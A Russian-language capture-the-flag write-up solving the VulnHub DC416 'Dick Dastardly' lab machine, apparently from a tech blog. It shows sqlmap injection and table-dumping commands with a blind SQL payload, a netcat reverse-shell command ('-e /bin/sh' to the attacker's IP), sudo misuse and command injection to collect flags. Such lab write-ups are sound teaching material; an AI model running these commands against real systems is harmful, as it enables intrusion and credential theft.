![](https://habrastorage.org/files/2b1/a32/eff/2b1a32effc9f4c6e96a3b9223664ea5a.png)
Команда VulnHub подготовила целую серию квестов, с конференции DefCon Toronto's, скачать и опробовать которые вы можете по ссылке.
А в этой статье будет разбор DC416 Dick Dastardly
Начнём
Nmap, кроме портов 22 и 80 больше ничего не выдал, поэтому переходим к поиску скрытых директорий:
$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403
![](https://habrastorage.org/files/f55/458/ea3/f55458ea35ac4773928bce76b5915523.png)
Видим тут интересный редирект на index.php. Посмотрим что там:
![](https://habrastorage.org/files/718/2e0/c89/7182e0c89d904d3fbe970676e8955f89.png)
Запускаем sqlmap:
$ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch
POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 6638 HTTP(s) requests:
— Parameter: name (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: name=asd'||(SELECT 'Uknw' FROM DUAL WHERE 1538=1538 AND SLEEP(5))||'&msg=asd
— [00:52:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
Инъекция есть, но раскрутить sqlmap её не смог. Переходим ко второй форме:
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables
Видим сообщение, и корректируем параметры sqlmap'а:
[13:17:56] [INFO] POST parameter 'issue' appears to be 'MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string=«an»)
После повторного запуска, sqlmap раскрутил инъекцию. И отобразил список таблиц.
Дампим таблицу admins
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump
![](https://habrastorage.org/files/e6b/64d/89a/e6b64d89ae734945ae3183e2f52c314d.png)
Нашли пароль в открытом виде и логин. Авторизуемся:
![](https://habrastorage.org/files/15b/e80/4d7/15be804d72d64d10815343c142e74adf.png)
Попадаем в web админку IRC бота. Тут можно изменить владельца бота. Впишу туда логин и пароль, которые удалось вытянуть из БД. Далее естественно нажимаем добавить свой IP в белый лист, и активировать бота.
Повторно запустим nmap:
![](https://habrastorage.org/files/d6d/4a2/f1b/d6d4a2f1b26b435c88e9f8c2f04905aa.png)
Коннектимся на запущенный IRC сервер, видим приветствие:
![](https://habrastorage.org/files/5b6/6a6/971/5b66a69712474e5fa8acc0cd1d285e87.png)
Посмотрим список каналов:
/list
Нахоим там канал #vulnhub и подключаемся к нему:
/join #vulnhub
Я использовал XChat, справа в списке пользователей на канале, можно увидеть бота, которого мы запустили: vulnhub-bot. Начнём с ним диалог:
![](https://habrastorage.org/files/3fe/4be/2ee/3fe4be2ee00a468e87142651739f1fc3.png)
Флаг найден, но это второй флаг… Где-то пропустили первый. Запускаем nikto и находим первый флаг:
$ sudo nikto -host http://192.168.1.68 -C all
+ Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}
Имея шелл через IRC открываем себе полноценную консоль:
$ netcat -lvp 9999
Боту отправляем команду:
Unix shell netcat -e /bin/sh 192.168.1.124 9999
Посмотрев список процессов, я нашёл один из них, запущенный от root, крайне необычным:
ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2
Хм это интересно, запустив WireShark в ICMP пакетах находим flag0:
flag0{the_quieter_you_become_the_more_you_are_able_to_hear}
Остался последний. Посмотрим какие привилегии доступны текущему пользователю:
sudo -l
Matching Defaults entries for rasta on DickDastardly:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User rasta may run the following commands on DickDastardly:
(vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py
Видимо, это не просто так:
sudo -u vulnhub python /usr/local/sbin/util.py
После запуска получаем такой интерактивный вывод:
![](https://habrastorage.org/files/279/e82/59d/279e8259d28a4955a8957bf93ae8389d.png)
Не так много функций доступно, осмотревшись, я нашёл последний флаг:
![](https://habrastorage.org/files/90e/337/85d/90e33785dbf7485680c90734ff9f5095.png)
Точнее место где он лежит. Я попробовал вставить свою команду, и при выборе листинга директорий, это получилось:
![](https://habrastorage.org/files/be0/280/0be/be02800be8e947e28b83d79499fde10c.png)
Отлично, все флаги собраны, пусть и не в правильном порядке!
Поделиться с друзьями